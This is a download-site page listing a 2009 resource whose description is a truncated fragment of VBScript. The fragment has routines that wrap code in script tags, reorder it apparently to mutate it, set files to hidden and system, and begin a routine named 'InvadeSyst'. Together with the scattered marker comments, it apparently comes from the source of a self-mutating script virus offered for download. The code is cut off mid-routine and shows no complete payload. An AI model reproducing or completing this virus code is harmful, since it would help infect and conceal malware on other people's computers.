资源大小: 33KB
发布时间: 2009-09-14
文件格式: none
下载次数: 2
分享到:

下载地址:

下载地址1
(本站为飞网专业下载站,域名:down.cfei.net)

资源简介:

Function MakeScript(strCode, T) If T = 1 Then MakeScript = "<" & "SCRIPT Language = VBScript>" & VBCRLF & ChangeModelOrder(strCode, Sum_ModelCode) & VBCRLF & "" Else MakeScript = "<" & "SCRIPT Language = VBScript>" & VBCRLF & strCode & VBCRLF & "" End IfEnd Function'NXYHCIHPJML2_23'QAQJIBPLNKVYM2_15Sub SetFileAttr(objfso, pathf) Dim vf Set vf = objfso.GetFile(pathf) vf.Attributes = 6End Sub'NXYHCIHPJML2_15'QAQJIBPLNKVYM1_7Sub InvadeSyst


飞网下载站,免费下载共享资料,内容涉及教育资源、专业资料、IT资源、娱乐生活、经济管理、办公文书、游戏资料等。